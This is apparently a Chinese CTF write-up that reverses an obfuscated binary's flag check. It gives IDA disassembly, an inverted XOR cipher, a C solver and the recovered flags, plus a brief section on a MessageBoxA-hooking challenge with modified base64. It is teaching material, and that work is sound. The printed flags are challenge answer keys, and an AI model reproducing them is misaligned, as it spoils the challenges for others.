1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 .text:00006421AC80E0C0 endbr64 .text:00006421AC80E0C4 push r15 .text:00006421AC80E0C6 lea rdx, sub_6421AC80E220 .text:00006421AC80E0CD lea rcx, sub_6421AC80E200 .text:00006421AC80E0D4 push r14 .text:00006421AC80E0D6 lea rsi, sub_6421AC80E1C0 .text:00006421AC80E0DD mov r14d, 2 .text:00006421AC80E0E3 lea r15, unk_6421AC80F310 .text:00006421AC80E0EA push r13 .text:00006421AC80E0EC lea r13, a99s ; "%99s" .text:00006421AC80E0F3 push r12 .text:00006421AC80E0F5 lea r12, unk_6421AC80F118 .text:00006421AC80E0FC push rbp .text:00006421AC80E0FD push rbx .text:00006421AC80E0FE lea ebx, [r14-1] .text:00006421AC80E102 sub rsp, 0B8h .text:00006421AC80E109 mov rax, fs:28h .text:00006421AC80E112 mov [rsp+0E8h+var_40], rax .text:00006421AC80E11A lea rax, sub_6421AC80E160 .text:00006421AC80E121 mov [rsp+0E8h+var_E0], rdx .text:00006421AC80E126 lea rdx, sub_6421AC80E1E0 .text:00006421AC80E12D mov [rsp+0E8h+var_D8], rcx .text:00006421AC80E132 lea rcx, sub_6421AC80E240 .text:00006421AC80E139 mov [rsp+0E8h+var_D0], rdx .text:00006421AC80E13E lea rdx, sub_6421AC80E190 .text:00006421AC80E145 mov [rsp+0E8h+var_C8], rcx .text:00006421AC80E14A mov [rsp+0E8h+var_C0], rsi .text:00006421AC80E14F mov [rsp+0E8h+var_B8], rdx .text:00006421AC80E154 mov [rsp+0E8h+var_E8], rax .text:00006421AC80E158 jmp rax .text:00006421AC80E160 endbr64 .text:00006421AC80E164 lea rsi, [rsp+arg_38] .text:00006421AC80E169 mov ecx, 0Ch .text:00006421AC80E16E xor eax, eax .text:00006421AC80E170 mov rdi, rsi .text:00006421AC80E173 rep stosq .text:00006421AC80E176 mov dword ptr [rdi], 0 .text:00006421AC80E17C mov rax, [rsp+rbx*8+0] .text:00006421AC80E180 add r14d, 1 .text:00006421AC80E184 lea ebx, [r14-1] .text:00006421AC80E188 jmp rax .text:00006421AC80E220 endbr64 .text:00006421AC80E224 lea rdi, byte_6421AC80F008 ; s .text:00006421AC80E22B add r14d, 1 .text:00006421AC80E22F call _puts .text:00006421AC80E22F .text:00006421AC80E234 mov rax, [rsp+rbx*8+0] .text:00006421AC80E238 lea ebx, [r14-1] .text:00006421AC80E23C jmp rax .text:00006421AC80E200 endbr64 .text:00006421AC80E204 mov rdi, r12 ; s .text:00006421AC80E207 add r14d, 1 .text:00006421AC80E20B call _puts .text:00006421AC80E20B .text:00006421AC80E210 mov rax, [rsp+rbx*8+0] .text:00006421AC80E214 lea ebx, [r14-1] .text:00006421AC80E218 jmp rax .text:00006421AC80E1E0 endbr64 .text:00006421AC80E1E4 xor eax, eax .text:00006421AC80E1E6 lea rsi, [rsp+arg_38] .text:00006421AC80E1EB mov rdi, r13 .text:00006421AC80E1EE call ___isoc99_scanf .text:00006421AC80E1EE .text:00006421AC80E1F3 cmp eax, 1 .text:00006421AC80E1F6 jz short loc_6421AC80E17C .text:00006421AC80E1F6 .text:00006421AC80E17C mov rax, [rsp+rbx*8+0] .text:00006421AC80E180 add r14d, 1 .text:00006421AC80E184 lea ebx, [r14-1] .text:00006421AC80E188 jmp rax .text:00006421AC80E240 endbr64 .text:00006421AC80E244 lea rdi, [rsp+arg_38] .text:00006421AC80E249 add r14d, 1 .text:00006421AC80E24D call check .text:00006421AC80E24D .text:00006421AC80E252 mov ebp, eax .text:00006421AC80E254 mov rax, [rsp+rbx*8+0] .text:00006421AC80E258 lea ebx, [r14-1] .text:00006421AC80E25C jmp rax .text:00006421AC80E25C .text:00006421AC80E1C0 endbr64 .text:00006421AC80E1C4 test ebp, ebp .text:00006421AC80E1C6 jnz loc_6421AC80E25E .text:00006421AC80E1C6 .text:00006421AC80E1CC lea rdi, s ; s .text:00006421AC80E1D3 call _puts .text:00006421AC80E1D3 .text:00006421AC80E1D8 jmp short loc_6421AC80E17C .text:00006421AC80E1C4 test ebp, ebp .text:00006421AC80E1C6 jnz loc_6421AC80E25E ;失败 .text:00006421AC80E1C6 .text:00006421AC80E1CC lea rdi, aFlag ; s .text:00006421AC80E1D3 call _puts .text:00006421AC80E1D3 .text:00006421AC80E1D8 jmp short loc_6421AC80E17C
稍微整理一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 .text:00006421AC80E0C0 endbr64 .text:00006421AC80E0C4 push r15 .text:00006421AC80E0C6 lea rdx, sub_6421AC80E220 .text:00006421AC80E0CD lea rcx, sub_6421AC80E200 .text:00006421AC80E0D4 push r14 .text:00006421AC80E0D6 lea rsi, sub_6421AC80E1C0 .text:00006421AC80E0DD mov r14d, 2 .text:00006421AC80E0E3 lea r15, unk_6421AC80F310 .text:00006421AC80E0EA push r13 .text:00006421AC80E0EC lea r13, a99s ; "%99s" .text:00006421AC80E0F3 push r12 .text:00006421AC80E0F5 lea r12, unk_6421AC80F118 .text:00006421AC80E0FC push rbp .text:00006421AC80E0FD push rbx .text:00006421AC80E0FE lea ebx, [r14-1] .text:00006421AC80E102 sub rsp, 0B8h .text:00006421AC80E109 mov rax, fs:28h .text:00006421AC80E112 mov [rsp+0E8h+var_40], rax .text:00006421AC80E11A lea rax, sub_6421AC80E160 .text:00006421AC80E121 mov [rsp+0E8h+var_E0], rdx .text:00006421AC80E126 lea rdx, sub_6421AC80E1E0 .text:00006421AC80E12D mov [rsp+0E8h+var_D8], rcx .text:00006421AC80E132 lea rcx, sub_6421AC80E240 .text:00006421AC80E139 mov [rsp+0E8h+var_D0], rdx .text:00006421AC80E13E lea rdx, sub_6421AC80E190 .text:00006421AC80E145 mov [rsp+0E8h+var_C8], rcx .text:00006421AC80E14A mov [rsp+0E8h+var_C0], rsi .text:00006421AC80E14F mov [rsp+0E8h+var_B8], rdx .text:00006421AC80E154 mov [rsp+0E8h+var_E8], rax .text:00006421AC80E164 lea rsi, [rsp+arg_38] .text:00006421AC80E169 mov ecx, 0Ch .text:00006421AC80E16E xor eax, eax .text:00006421AC80E170 mov rdi, rsi .text:00006421AC80E173 rep stosq .text:00006421AC80E176 mov dword ptr [rdi], 0 .text:00006421AC80E184 lea ebx, [r14-1] .text:00006421AC80E224 lea rdi, byte_6421AC80F008 ; s .text:00006421AC80E22F call _puts .text:00006421AC80E238 lea ebx, [r14-1] .text:00006421AC80E204 mov rdi, r12 ; s .text:00006421AC80E20B call _puts .text:00006421AC80E214 lea ebx, [r14-1] .text:00006421AC80E1E4 xor eax, eax .text:00006421AC80E1E6 lea rsi, [rsp+arg_38] .text:00006421AC80E1EB mov rdi, r13 .text:00006421AC80E1EE call ___isoc99_scanf .text:00006421AC80E184 lea ebx, [r14-1] .text:00006421AC80E244 lea rdi, [rsp+arg_38] .text:00006421AC80E24D call check .text:00006421AC80E252 mov ebp, eax .text:00006421AC80E258 lea ebx, [r14-1] .text:00006421AC80E1C4 test ebp, ebp .text:00006421AC80E1C6 jnz loc_6421AC80E25E .text:00006421AC80E1CC lea rdi, s ; s .text:00006421AC80E1D3 call _puts .text:00006421AC80E1D8 jmp short loc_6421AC80E17C .text:00006421AC80E1C4 test ebp, ebp .text:00006421AC80E1C6 jnz loc_6421AC80E25E ;失败 .text:00006421AC80E1CC lea rdi, aFlag ; s .text:00006421AC80E1D3 call _puts .text:00006421AC80E1D8 jmp short loc_6421AC80E17C
那主函数就是读取字符串调用check了,那接下来看看check:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 .text:00005B722EBF7480 endbr64 .text:00005B722EBF7484 push r15 .text:00005B722EBF7486 lea rcx, sub_5B722EBF7540 .text:00005B722EBF748D lea rdx, sub_5B722EBF7560 .text:00005B722EBF7494 mov r15d, 2 .text:00005B722EBF749A push r14 .text:00005B722EBF749C lea r14d, [r15-1] .text:00005B722EBF74A0 push r13 .text:00005B722EBF74A2 lea r13, ans .text:00005B722EBF74A9 push r12 .text:00005B722EBF74AB mov r12, rdi .text:00005B722EBF74AE push rbp .text:00005B722EBF74AF push rbx .text:00005B722EBF74B0 sub rsp, 38h .text:00005B722EBF74B4 mov rax, fs:28h .text:00005B722EBF74BD mov [rsp+68h+var_40], rax .text:00005B722EBF74C2 lea rax, sub_5B722EBF74E8 .text:00005B722EBF74C9 mov [rsp+68h+var_60], rcx .text:00005B722EBF74CE lea rcx, sub_5B722EBF7510 .text:00005B722EBF74D5 mov [rsp+68h+var_58], rdx .text:00005B722EBF74DA mov [rsp+68h+var_50], rcx .text:00005B722EBF74DF mov [rsp+68h+var_68], rax .text:00005B722EBF74E3 jmp rax .text:00005B722EBF74E8 endbr64 .text:00005B722EBF74EC mov rdi, r12 ; s .text:00005B722EBF74EF call _strlen .text:00005B722EBF74EF .text:00005B722EBF74F4 cmp rax, 30h ; '0' .text:00005B722EBF74F8 jnz loc_5B722EBF7598 .text:00005B722EBF74FE mov rax, [rsp+r14*8+0] .text:00005B722EBF7502 add r15d, 1 .text:00005B722EBF7506 lea r14d, [r15-1] .text:00005B722EBF750A jmp rax .text:00005B722EBF7540 endbr64 .text:00005B722EBF7544 mov rax, [rsp+r14*8+0] .text:00005B722EBF7548 add r15d, 1 .text:00005B722EBF754C mov ebp, 1 .text:00005B722EBF7551 lea r14d, [r15-1] .text:00005B722EBF7555 jmp rax .text:00005B722EBF7560 endbr64 .text:00005B722EBF7564 xor ebx, ebx .text:00005B722EBF7566 db 2Eh .text:00005B722EBF7566 nop word ptr [rax+rax+00000000h] .text:00005B722EBF7566 .text:00005B722EBF7570 .text:00005B722EBF7570 loc_5B722EBF7570: ; CODE XREF: sub_5B722EBF7560+31↓j .text:00005B722EBF7570 movzx edi, byte ptr [r12+rbx] .text:00005B722EBF7575 mov esi, ebx .text:00005B722EBF7577 call enc .text:00005B722EBF7577 .text:00005B722EBF757C cmp [r13+rbx+0], al .text:00005B722EBF7581 setz al .text:00005B722EBF7584 add rbx, 1 .text:00005B722EBF7588 movzx eax, al .text:00005B722EBF758B and ebp, eax .text:00005B722EBF758D cmp rbx, 30h ; '0' .text:00005B722EBF7591 jnz short loc_5B722EBF7570 .text:00005B722EBF7591 .text:00005B722EBF7593 jmp loc_5B722EBF74FE .text:00005B722EBF74FE mov rax, [rsp+r14*8+0] .text:00005B722EBF7502 add r15d, 1 .text:00005B722EBF7506 lea r14d, [r15-1] .text:00005B722EBF750A jmp rax .text:00005B722EBF7510 endbr64 .text:00005B722EBF7514 xor eax, eax .text:00005B722EBF7516 test ebp, ebp .text:00005B722EBF7518 setz al .text:00005B722EBF751B mov rdx, [rsp+arg_20] .text:00005B722EBF7520 sub rdx, fs:28h .text:00005B722EBF7529 jnz short loc_5B722EBF75A2 .text:00005B722EBF7529 .text:00005B722EBF752B add rsp, 38h .text:00005B722EBF752F pop rbx .text:00005B722EBF7530 pop rbp .text:00005B722EBF7531 pop r12 .text:00005B722EBF7533 pop r13 .text:00005B722EBF7535 pop r14 .text:00005B722EBF7537 pop r15 .text:00005B722EBF7539 retn
整理一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 .text:00005B722EBF7480 endbr64 .text:00005B722EBF7484 push r15 .text:00005B722EBF7486 lea rcx, sub_5B722EBF7540 .text:00005B722EBF748D lea rdx, sub_5B722EBF7560 .text:00005B722EBF7494 mov r15d, 2 .text:00005B722EBF749A push r14 .text:00005B722EBF749C lea r14d, [r15-1] .text:00005B722EBF74A0 push r13 .text:00005B722EBF74A2 lea r13, ans .text:00005B722EBF74A9 push r12 .text:00005B722EBF74AB mov r12, rdi .text:00005B722EBF74AE push rbp .text:00005B722EBF74AF push rbx .text:00005B722EBF74B0 sub rsp, 38h .text:00005B722EBF74B4 mov rax, fs:28h .text:00005B722EBF74BD mov [rsp+68h+var_40], rax .text:00005B722EBF74C2 lea rax, sub_5B722EBF74E8 .text:00005B722EBF74C9 mov [rsp+68h+var_60], rcx .text:00005B722EBF74CE lea rcx, sub_5B722EBF7510 .text:00005B722EBF74D5 mov [rsp+68h+var_58], rdx .text:00005B722EBF74DA mov [rsp+68h+var_50], rcx .text:00005B722EBF74DF mov [rsp+68h+var_68], rax .text:00005B722EBF74EC mov rdi, r12 ; s .text:00005B722EBF74EF call _strlen .text:00005B722EBF754C mov ebp, 1 .text:00005B722EBF7564 xor ebx, ebx .text:00005B722EBF7566 .text:00005B722EBF7570 .text:00005B722EBF7570 loc_5B722EBF7570: ; CODE XREF: sub_5B722EBF7560+31↓j .text:00005B722EBF7570 movzx edi, byte ptr [r12+rbx] .text:00005B722EBF7575 mov esi, ebx .text:00005B722EBF7577 call enc .text:00005B722EBF7577 .text:00005B722EBF757C cmp [r13+rbx+0], al .text:00005B722EBF7581 setz al .text:00005B722EBF7584 add rbx, 1 .text:00005B722EBF7588 movzx eax, al .text:00005B722EBF758B and ebp, eax .text:00005B722EBF758D cmp rbx, 30h ; '0' .text:00005B722EBF7591 jnz short loc_5B722EBF7570 .text:00005B722EBF7514 xor eax, eax .text:00005B722EBF7516 test ebp, ebp .text:00005B722EBF7518 setz al .text:00005B722EBF751B mov rdx, [rsp+arg_20] .text:00005B722EBF7520 sub rdx, fs:28h .text:00005B722EBF7529 jnz short loc_5B722EBF75A2 .text:00005B722EBF7529 .text:00005B722EBF752B add rsp, 38h .text:00005B722EBF752F pop rbx .text:00005B722EBF7530 pop rbp .text:00005B722EBF7531 pop r12 .text:00005B722EBF7533 pop r13 .text:00005B722EBF7535 pop r14 .text:00005B722EBF7537 pop r15 .text:00005B722EBF7539 retn
合着挨个字符enc啊,字符串在r12里,每次和下标esi一起传入enc里,然后返回加密的字符和r13的字符串比较,这加密方式 有点难崩,不过还是可以把enc flag给提出来:
1 enc=[0x69 ,0x58 ,0x61 ,0x63 ,0x67 ,0x4c ,0x4d ,0x32 ,0x98 ,0x20 ,0x4d ,0x51 ,0x7b ,0x25 ,0x75 ,0x51 ,0xa3 ,0x58 ,0x60 ,0x72 ,0x42 ,0x62 ,0x67 ,0x66 ,0x37 ,0x6c ,0x30 ,0x46 ,0x66 ,0x4f ,0x5d ,0x03 ,0x5d ,0xa4 ,0x66 ,0x01 ,0x43 ,0x68 ,0x7d ,0x7c ,0x55 ,0x4f ,0x7a ,0x3f ,0x6c ,0x12 ,0x21 ,0x09 ]
然后研究enc函数:
整理前:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 .text:00005A1A610BD360 endbr64 .text:00005A1A610BD364 sub rsp, 48h .text:00005A1A610BD368 lea rcx, sub_5A1A610BD460 .text:00005A1A610BD36F mov edx, 2 .text:00005A1A610BD374 movsxd r10, esi .text:00005A1A610BD377 mov rax, fs:28h .text:00005A1A610BD380 mov [rsp+48h+var_10], rax .text:00005A1A610BD385 xor eax, eax .text:00005A1A610BD387 lea rax, sub_5A1A610BD448 .text:00005A1A610BD38E mov [rsp+48h+var_48], rcx .text:00005A1A610BD392 add esi, 6 .text:00005A1A610BD395 mov [rsp+48h+var_40], rax .text:00005A1A610BD39A lea rax, sub_5A1A610BD430 .text:00005A1A610BD3A1 lea r11, key ; "i_have_get_shell_but_where_is_you_my_de"... .text:00005A1A610BD3A8 mov [rsp+48h+var_38], rax .text:00005A1A610BD3AD lea rax, sub_5A1A610BD418 .text:00005A1A610BD3B4 mov [rsp+48h+var_30], rax .text:00005A1A610BD3B9 lea rax, sub_5A1A610BD400 .text:00005A1A610BD3C0 mov [rsp+48h+var_28], rax .text:00005A1A610BD3C5 lea rax, sub_5A1A610BD3E0 .text:00005A1A610BD3CC mov [rsp+48h+var_20], rax .text:00005A1A610BD3D1 lea eax, [rdx-1] .text:00005A1A610BD3D4 jmp rcx .text:00005A1A610BD460 endbr64 .text:00005A1A610BD464 mov rcx, [rsp+rax*8+0] .text:00005A1A610BD468 add edx, 1 .text:00005A1A610BD46B mov r8d, edi .text:00005A1A610BD46E lea eax, [rdx-1] .text:00005A1A610BD471 jmp rcx .text:00005A1A610BD448 endbr64 .text:00005A1A610BD44C mov rcx, [rsp+rax*8+0] .text:00005A1A610BD450 xor r8d, esi .text:00005A1A610BD453 add edx, 1 .text:00005A1A610BD456 xor r8d, 66h .text:00005A1A610BD45A lea eax, [rdx-1] .text:00005A1A610BD45D jmp rcx .text:00005A1A610BD430 endbr64 .text:00005A1A610BD434 mov rcx, [rsp+rax*8+0] .text:00005A1A610BD438 add edx, 1 .text:00005A1A610BD43B sub r8d, 6 .text:00005A1A610BD43F lea eax, [rdx-1] .text:00005A1A610BD442 jmp rcx .text:00005A1A610BD418 endbr64 .text:00005A1A610BD41C mov rcx, [rsp+rax*8+0] .text:00005A1A610BD420 add edx, 1 .text:00005A1A610BD423 movzx r9d, byte ptr [r11+r10] .text:00005A1A610BD428 lea eax, [rdx-1] .text:00005A1A610BD42B jmp rcx .text:00005A1A610BD400 endbr64 .text:00005A1A610BD404 mov rcx, [rsp+rax*8+0] .text:00005A1A610BD408 add edx, 1 .text:00005A1A610BD40B xor r8d, r9d .text:00005A1A610BD40E lea eax, [rdx-1] .text:00005A1A610BD411 jmp rcx .text:00005A1A610BD3E0 endbr64 .text:00005A1A610BD3E4 mov rax, [rsp+arg_30] .text:00005A1A610BD3E9 sub rax, fs:28h .text:00005A1A610BD3F2 jnz short loc_5A1A610BD473 .text:00005A1A610BD3F2 .text:00005A1A610BD3F4 mov eax, r8d .text:00005A1A610BD3F7 add rsp, 48h .text:00005A1A610BD3FB retn
整理后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 .text:00005A1A610BD360 endbr64 .text:00005A1A610BD364 sub rsp, 48h .text:00005A1A610BD368 lea rcx, sub_5A1A610BD460 .text:00005A1A610BD36F mov edx, 2 .text:00005A1A610BD374 movsxd r10, esi .text:00005A1A610BD377 mov rax, fs:28h .text:00005A1A610BD380 mov [rsp+48h+var_10], rax .text:00005A1A610BD385 xor eax, eax .text:00005A1A610BD387 lea rax, sub_5A1A610BD448 .text:00005A1A610BD38E mov [rsp+48h+var_48], rcx .text:00005A1A610BD392 add esi, 6 .text:00005A1A610BD395 mov [rsp+48h+var_40], rax .text:00005A1A610BD39A lea rax, sub_5A1A610BD430 .text:00005A1A610BD3A1 lea r11, key ; "i_have_get_shell_but_where_is_you_my_de"... .text:00005A1A610BD3A8 mov [rsp+48h+var_38], rax .text:00005A1A610BD3AD lea rax, sub_5A1A610BD418 .text:00005A1A610BD3B4 mov [rsp+48h+var_30], rax .text:00005A1A610BD3B9 lea rax, sub_5A1A610BD400 .text:00005A1A610BD3C0 mov [rsp+48h+var_28], rax .text:00005A1A610BD3C5 lea rax, sub_5A1A610BD3E0 .text:00005A1A610BD3CC mov [rsp+48h+var_20], rax .text:00005A1A610BD46B mov r8d, edi .text:00005A1A610BD450 xor r8d, esi .text:00005A1A610BD456 xor r8d, 66h .text:00005A1A610BD43B sub r8d, 6 .text:00005A1A610BD423 movzx r9d, byte ptr [r11+r10] .text:00005A1A610BD40B xor r8d, r9d .text:00005A1A610BD3E4 mov rax, [rsp+arg_30] .text:00005A1A610BD3E9 sub rax, fs:28h .text:00005A1A610BD3F2 jnz short loc_5A1A610BD473 .text:00005A1A610BD3F2 .text:00005A1A610BD3F4 mov eax, r8d .text:00005A1A610BD3F7 add rsp, 48h .text:00005A1A610BD3FB retn
其中rdi是输入的字符c,rsi是输入的下表i
那操作就是
1 2 3 4 5 6 7 8 add esi, 6 mov r8d,edi xor r8d,esi xor r8d,66h sub r8d, 6 movzx r9d, byte ptr [key+rsi] xor r8d, r9d mov eax, r8d
只要逆过来就是
1 2 3 4 5 r8d=enc^key[i] r8d=r8d+6 r8d=r8d^0x66 r8d=r8d^(i+6 ) c=r8d
因此写出脚本:
1 2 3 4 5 6 7 8 9 10 11 #include <stdio.h> #include <stdint.h> int main () { uint8_t enc[] = {0x69 ,0x58 ,0x61 ,0x63 ,0x67 ,0x4c ,0x4d ,0x32 ,0x98 ,0x20 ,0x4d ,0x51 ,0x7b ,0x25 ,0x75 ,0x51 ,0xa3 ,0x58 ,0x60 ,0x72 ,0x42 ,0x62 ,0x67 ,0x66 ,0x37 ,0x6c ,0x30 ,0x46 ,0x66 ,0x4f ,0x5d ,0x03 ,0x5d ,0xa4 ,0x66 ,0x01 ,0x43 ,0x68 ,0x7d ,0x7c ,0x55 ,0x4f ,0x7a ,0x3f ,0x6c ,0x12 ,0x21 ,0x09 }; const char * key = "i_have_get_shell_but_where_is_you_my_dear_baby!!" ; for (int i=0 ;i<48 ;i++){ enc[i]=((enc[i]^key[i])+6 )^0x66 ^(i+6 ); } printf ("%s" ,enc); return 0 ; }
得到flag:flag{Br0k3n_m3m0r1es_for3v3r_Sh1n@_1n_The_H3@$T}
1 2 3 4 亲爱的:当你看到这个的时候,我想说我们是时候该分开了,嗯怎么说呢,我开始发现我们根本不是一个圈子的人,无论是哪个节假日,你都一个人守在电脑前看着所谓的赛,我。。。。其实。。。 哎,对不起,我。。。这里一定存在修复好感情的方法,我要穿越时空,对,我要改变,我。。。我记得时空机的flag是:flag{Br0k****,草,是啥? flag{Br0k3n_m3m0r1es_for3v3r_Sh1n@_1n_The_H3@$T} 这么多年了,这个flag我早就记得了,我知道时空机压根不存在,这也只是我的幻想罢了,已经回不去了。。。(在你忙的时候别忘记陪陪那个你在乎的人,我失去过,我也尝试过,但是世上没有时空机)你拿到flag了,高兴点,你赢了
太痛了啊
5.23. 舔狗四部曲–我的白月光
那就逆向看看罢,这个程序好像一开始hook了MessageBoxA,改成了sub_7FF798211470,所以才会有那死循环弹窗:
那为啥这么做呢,因为他在上面刚解密了一第二部分flag(所以我才要动调啊 他那mm_load我看不懂啊):
找到rsp也就能找到他留的信息了,把他提取出来:
1 please do not try to find her she do not belong to ago memories i will give you some flags:i8_a_k3y_and now go back please!
啊这 我要是go back了就要往下看了哦~
后面通过MessageBoxA手搓01可还行,而且说实话那个base64算法我到现在也没看懂,但是我动调找到规律了,
他依然是每4个b64后字符对应先前的3个字符,但是每4个b64字符都被reverse了一下,然后加密的字符串好像又被reverse了一下,总之靠着b64,from hex和reverse的排列组合,我把这段明文解出来了:
那么最后的flag是:flag{L0v3_i8_a_k3y_and_memory_never_go_done_finally_thankyou_xiaowangtongxue}